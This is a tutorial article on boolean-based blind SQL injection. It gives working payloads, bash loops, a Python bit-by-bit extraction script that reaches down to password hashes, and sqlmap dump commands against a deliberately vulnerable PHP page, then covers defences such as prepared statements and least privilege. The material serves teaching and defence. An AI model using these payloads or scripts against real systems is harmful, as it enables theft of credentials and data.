Boolean-based blind SQL injection is the kind of bug that feels almost unfair the first time you see it. There’s no stack trace, no juicy SQL error, no visible dump of rows splashed onto the page. Just a tiny behavioral difference: a page says “Welcome back” instead of “Invalid user,” or a product list appears for one request and disappears for another. That’s enough. If an application builds SQL unsafely and reflects only a true/false outcome, an attacker can still extract data—one character, one bit, one yes/no question at a time. In this article, we’ll break down how boolean-based blind SQL injection works, how attackers turn tiny response differences into full database exfiltration, and how developers can shut it down properly.

What is boolean-based blind SQL injection?

Boolean-based blind SQL injection happens when:

  1. User input is concatenated into a SQL query.
  2. The application does not return raw database errors or query results directly.
  3. The application’s response still changes depending on whether the SQL condition evaluates to true or false.

That last point is the whole game.

Imagine a vulnerable login or search feature. The app might run a query like this:

sql
SELECT * FROM users WHERE username = '$input';

If the application doesn’t print SQL errors and doesn’t show the actual row contents, you might think exploitation is impossible. But if the page behaves differently depending on whether rows are returned, you can inject conditions such as:

sql
' AND 1=1 --

versus:

sql
' AND 1=2 --

If the first request produces a “normal” page and the second produces an “empty” page, you now have a binary oracle. You can ask the database questions and infer the answer from the response.

The vulnerable pattern

Here’s a deliberately insecure example in PHP:

php
<?php
$conn = new mysqli("localhost", "app", "password", "shop");

$category = $_GET['category'];

$sql = "SELECT name, price FROM products WHERE category = '$category'";
$result = $conn->query($sql);

if ($result && $result->num_rows > 0) {
    echo "<h2>Products</h2>";
    while ($row = $result->fetch_assoc()) {
        echo htmlspecialchars($row['name']) . " - $" . htmlspecialchars($row['price']) . "<br>";
    }
} else {
    echo "No products found.";
}
?>

A request like this:

http
GET /products.php?category=electronics

might show products.

But if the attacker sends:

http
GET /products.php?category=electronics' AND 1=1 -- 

the SQL becomes:

sql
SELECT name, price FROM products WHERE category = 'electronics' AND 1=1 -- '

That still returns products.

Now send:

http
GET /products.php?category=electronics' AND 1=2 -- 

The SQL becomes:

sql
SELECT name, price FROM products WHERE category = 'electronics' AND 1=2 -- '

That returns no rows, and the page says “No products found.”

That difference confirms injectable SQL and gives us a true/false channel.

Why “blind” doesn’t mean “safe”

Developers sometimes assume they’re protected because:

  • errors are hidden,
  • query results aren’t directly rendered,
  • the endpoint only shows generic messages.

But blind SQL injection is still enough to leak:

  • database version,
  • current user,
  • database name,
  • table names,
  • column names,
  • credential hashes,
  • API keys,
  • session tokens,
  • any readable data.

The tradeoff is speed. Instead of dumping a table in one query, the attacker asks hundreds or thousands of yes/no questions.

Confirming a boolean blind injection point

The first step is to identify a parameter that changes application behavior based on query results.

Basic true/false probes

Try a normal request first:

bash
curl "http://target.local/products.php?category=electronics"

Then compare true and false conditions:

bash
curl "http://target.local/products.php?category=electronics'%20AND%201=1%20--%20"
curl "http://target.local/products.php?category=electronics'%20AND%201=2%20--%20"

If one returns a product list and the other returns an empty state, that’s a strong signal.

You can also use ORDER BY, subqueries, or existence checks depending on context.

For numeric parameters:

http
GET /item.php?id=10 AND 1=1
GET /item.php?id=10 AND 1=2

For string parameters:

http
GET /search.php?q=test' AND 'a'='a
GET /search.php?q=test' AND 'a'='b

The exact payload depends on the query structure and database flavor.

Turning true/false into data extraction

Once you have a boolean oracle, the next step is to ask the database specific questions.

A classic pattern is:

  • Guess the length of a string.
  • Extract one character at a time.
  • Determine each character by comparing ASCII values.

Step 1: Determine the length of the target string

Suppose we want the current database name.

In MySQL, you can test:

sql
LENGTH(DATABASE()) = 6

Injected into the vulnerable parameter:

http
GET /products.php?category=electronics' AND LENGTH(DATABASE())=6 -- 

If the page behaves “true,” the database name is 6 characters long.

You can brute-force the length:

bash
for i in $(seq 1 20); do
  curl -s "http://target.local/products.php?category=electronics'%20AND%20LENGTH(DATABASE())=$i%20--%20" | grep -q "Products" \
    && echo "[+] Length is $i"
done

Step 2: Extract characters one by one

Once you know the length, test each character position using SUBSTRING() and ASCII().

Example question:

sql
ASCII(SUBSTRING(DATABASE(),1,1)) = 115

If true, the first character is ASCII 115, which is s.

Payload:

http
GET /products.php?category=electronics' AND ASCII(SUBSTRING(DATABASE(),1,1))=115 -- 

You can brute-force the first character:

bash
for c in $(seq 32 126); do
  curl -s "http://target.local/products.php?category=electronics'%20AND%20ASCII(SUBSTRING(DATABASE(),1,1))=$c%20--%20" | grep -q "Products" \
    && echo "[+] First char: $(printf "\\$(printf '%03o' $c)")"
done

Then repeat for each position.

Bit-by-bit extraction

Brute-forcing every ASCII value from 32 to 126 works, but it’s noisy and slow. A more elegant approach is to extract each character bit by bit.

Why bits? Because a character is just a number, and numbers are represented in binary. If you can ask whether a bit is set, you can reconstruct the value efficiently.

Example logic

Suppose the first character of the database name is s, ASCII 115.

Binary representation:

text
115 = 01110011

We can ask:

  • Is bit 0 set?
  • Is bit 1 set?
  • Is bit 2 set?
  • ...

In MySQL, one way is to use bitwise &:

sql
ASCII(SUBSTRING(DATABASE(),1,1)) & 1
ASCII(SUBSTRING(DATABASE(),1,1)) & 2
ASCII(SUBSTRING(DATABASE(),1,1)) & 4
ASCII(SUBSTRING(DATABASE(),1,1)) & 8
...

If the result is non-zero, that bit is set.

Payload example:

http
GET /products.php?category=electronics' AND (ASCII(SUBSTRING(DATABASE(),1,1)) & 1) > 0 -- 

Then:

http
GET /products.php?category=electronics' AND (ASCII(SUBSTRING(DATABASE(),1,1)) & 2) > 0 -- 

And so on through bit 128.

Why bit-by-bit matters

Compared to trying every printable ASCII value, bit extraction gives a predictable 7–8 requests per character. That’s often more efficient and easier to automate.

A practical extraction script

Here’s a simple Python proof-of-concept for educational use against a lab target. This example assumes:

  • MySQL syntax,
  • a visible marker "Products" means the condition is true,
  • injection is in the category parameter.
python
import requests

BASE_URL = "http://target.local/products.php"
TRUE_MARKER = "Products"

def is_true(condition):
    payload = f"electronics' AND ({condition}) -- "
    r = requests.get(BASE_URL, params={"category": payload}, timeout=10)
    return TRUE_MARKER in r.text

def get_length(expr, max_len=50):
    for i in range(1, max_len + 1):
        if is_true(f"LENGTH(({expr}))={i}"):
            return i
    raise Exception("Length not found")

def get_char_bits(expr, position):
    value = 0
    for bit in [1, 2, 4, 8, 16, 32, 64, 128]:
        condition = f"(ASCII(SUBSTRING(({expr}),{position},1)) & {bit}) > 0"
        if is_true(condition):
            value |= bit
    return chr(value)

def extract_string(expr):
    length = get_length(expr)
    result = ""
    for pos in range(1, length + 1):
        ch = get_char_bits(expr, pos)
        result += ch
        print(f"[+] {pos}/{length}: {result}")
    return result

if __name__ == "__main__":
    db_name = extract_string("DATABASE()")
    print(f"[+] Database name: {db_name}")

This script first determines the string length, then reconstructs each character via bitwise tests.

Extracting real data from metadata tables

Attackers usually don’t stop at DATABASE(). The next move is often information_schema, which exposes database metadata in MySQL.

Enumerate the first table name

Find the length of the first table name in the current database:

sql
LENGTH((
  SELECT table_name
  FROM information_schema.tables
  WHERE table_schema = DATABASE()
  LIMIT 0,1
)) = 5

Then extract its characters bit by bit:

sql
ASCII(SUBSTRING((
  SELECT table_name
  FROM information_schema.tables
  WHERE table_schema = DATABASE()
  LIMIT 0,1
),1,1)) & 64 > 0

Enumerate column names

Once a table is known, say users, enumerate its first column:

sql
SELECT column_name
FROM information_schema.columns
WHERE table_schema = DATABASE()
  AND table_name = 'users'
LIMIT 0,1

Then use the same LENGTH, SUBSTRING, ASCII, and bitwise logic.

Extract actual secrets

If the attacker identifies a users table with username and password_hash columns, they can target values directly:

sql
SELECT password_hash FROM users LIMIT 0,1

Then extract that hash character by character.

This is why blind SQL injection is still severe even without visible query output.

Using binary search instead of bits

There’s another efficient strategy: binary search on ASCII values.

Instead of asking “is bit 4 set?”, ask “is the ASCII value greater than 77?” Then split the range repeatedly.

Example:

sql
ASCII(SUBSTRING(DATABASE(),1,1)) > 77

Then maybe:

sql
ASCII(SUBSTRING(DATABASE(),1,1)) > 109

This takes about log2(128) requests per character—roughly 7 requests—similar to bit extraction.

A binary-search extractor often looks like this:

python
def get_char_binary(expr, position):
    low, high = 0, 127
    while low <= high:
        mid = (low + high) // 2
        if is_true(f"ASCII(SUBSTRING(({expr}),{position},1))>{mid}"):
            low = mid + 1
        else:
            high = mid - 1
    return chr(low)

Both approaches are valid. Bit-by-bit extraction is conceptually clean and maps nicely to how boolean oracles work.

Database-specific notes

The exact syntax varies across database engines.

MySQL / MariaDB

Common functions:

  • DATABASE()
  • LENGTH()
  • SUBSTRING()
  • ASCII()
  • bitwise &

Example:

sql
ASCII(SUBSTRING(DATABASE(),1,1)) & 8 > 0

PostgreSQL

Use:

  • current_database()
  • length()
  • substring()
  • ascii()

Bitwise operators also exist, but syntax may differ depending on types and casting.

Example:

sql
ascii(substring(current_database(),1,1)) > 100

Microsoft SQL Server

Use:

  • DB_NAME()
  • LEN()
  • SUBSTRING()
  • ASCII()

Example:

sql
ASCII(SUBSTRING(DB_NAME(),1,1)) > 100

Comment styles and string concatenation rules also differ, so payload tuning matters.

Real-world indicators of boolean blind SQLi

In practice, the “true” and “false” responses are not always obvious. Watch for:

  • content length changes,
  • presence/absence of a message,
  • different number of returned items,
  • subtle HTML variations,
  • status code differences,
  • redirect behavior,
  • cache behavior.

A useful workflow is to diff responses.

Example with curl and wc:

bash
curl -s "http://target.local/products.php?category=electronics'%20AND%201=1%20--%20" | wc -c
curl -s "http://target.local/products.php?category=electronics'%20AND%201=2%20--%20" | wc -c

Or save and compare:

bash
curl -s "http://target.local/products.php?category=electronics'%20AND%201=1%20--%20" -o true.html
curl -s "http://target.local/products.php?category=electronics'%20AND%201=2%20--%20" -o false.html
diff -u true.html false.html

Tooling: where sqlmap fits

For authorized testing, sqlmap can automate boolean-based blind SQL injection very effectively.

Basic example:

bash
sqlmap -u "http://target.local/products.php?category=electronics" --dbs --batch

Force blind techniques if needed:

bash
sqlmap -u "http://target.local/products.php?category=electronics" --technique=B --batch

Dump tables:

bash
sqlmap -u "http://target.local/products.php?category=electronics" -D shop --tables --batch

Dump data:

bash
sqlmap -u "http://target.local/products.php?category=electronics" -D shop -T users --dump --batch

Use tooling ethically: only against systems you own or are explicitly authorized to test.

Defenses: how to actually fix this

The fix is not “hide errors better.” The fix is to stop building SQL with untrusted input.

1. Use parameterized queries

This is the primary defense.

PHP with prepared statements

php
<?php
$conn = new mysqli("localhost", "app", "password", "shop");

$category = $_GET['category'];

$stmt = $conn->prepare("SELECT name, price FROM products WHERE category = ?");
$stmt->bind_param("s", $category);
$stmt->execute();

$result = $stmt->get_result();

if ($result && $result->num_rows > 0) {
    echo "<h2>Products</h2>";
    while ($row = $result->fetch_assoc()) {
        echo htmlspecialchars($row['name']) . " - $" . htmlspecialchars($row['price']) . "<br>";
    }
} else {
    echo "No products found.";
}
?>

Now the input is treated as data, not SQL syntax.

Python with parameterization

python
import mysql.connector

conn = mysql.connector.connect(
    host="localhost",
    user="app",
    password="password",
    database="shop"
)

category = request.args.get("category")
cursor = conn.cursor()
cursor.execute("SELECT name, price FROM products WHERE category = %s", (category,))
rows = cursor.fetchall()

2. Avoid dynamic SQL where possible

If you must build dynamic queries, use strict allowlists for things that cannot be parameterized easily, such as column names or sort direction.

Bad:

python
query = f"SELECT * FROM products ORDER BY {user_input}"

Better:

python
allowed = {"name", "price", "created_at"}
sort = user_input if user_input in allowed else "name"
query = f"SELECT * FROM products ORDER BY {sort}"

3. Use least-privilege database accounts

Even if injection exists, the database user should not have broad access.

The app account should ideally not be able to:

  • read every schema,
  • access admin tables,
  • write arbitrary data,
  • create/drop tables,
  • execute dangerous stored procedures.

If the application only needs SELECT on a few tables, don’t give it more.

4. Normalize error handling, but don’t rely on it

Suppressing verbose SQL errors is still good hygiene, but it is not a complete defense. Boolean blind injection works fine without errors.

5. Add security testing to development workflows

Use:

  • SAST tools to flag unsafe query construction,
  • DAST scanners in staging,
  • code review checklists for database access,
  • dependency-safe ORM or query builder patterns.

6. Monitor for suspicious patterns

Detection opportunities include:

  • repeated requests with ', --, AND, SUBSTRING, ASCII, LENGTH,
  • high-volume requests to one endpoint with tiny parameter variations,
  • unusual access patterns against search/login/product pages.

A WAF may help reduce commodity exploitation, but it should be treated as a speed bump, not the core fix.

A mental model for developers

Here’s the key lesson: if user input can alter SQL structure, the attacker does not need direct output. They only need one observable difference tied to query truth.

That difference can be:

  • “0 rows” vs “1+ rows,”
  • “valid” vs “invalid,”
  • redirect vs no redirect,
  • slightly different HTML,
  • even timing, in related blind techniques.

Once that oracle exists, data becomes extractable.

Final thoughts

Boolean-based blind SQL injection is a perfect example of why “we don’t show database errors” is not a security strategy. If the application lets untrusted input shape a query, an attacker can interrogate the database with true/false questions and slowly peel out sensitive data bit by bit.

For defenders, the path is straightforward:

  • parameterize every query,
  • avoid unsafe dynamic SQL,
  • enforce least privilege,
  • test continuously.

For security engineers, understanding blind extraction is valuable because it sharpens your instinct for side channels. For developers, it’s a reminder that even tiny response differences can become a full data leak if the SQL layer is built carelessly.

No fireworks, no dramatic error page—just a quiet yes/no channel and enough patience to turn it into everything.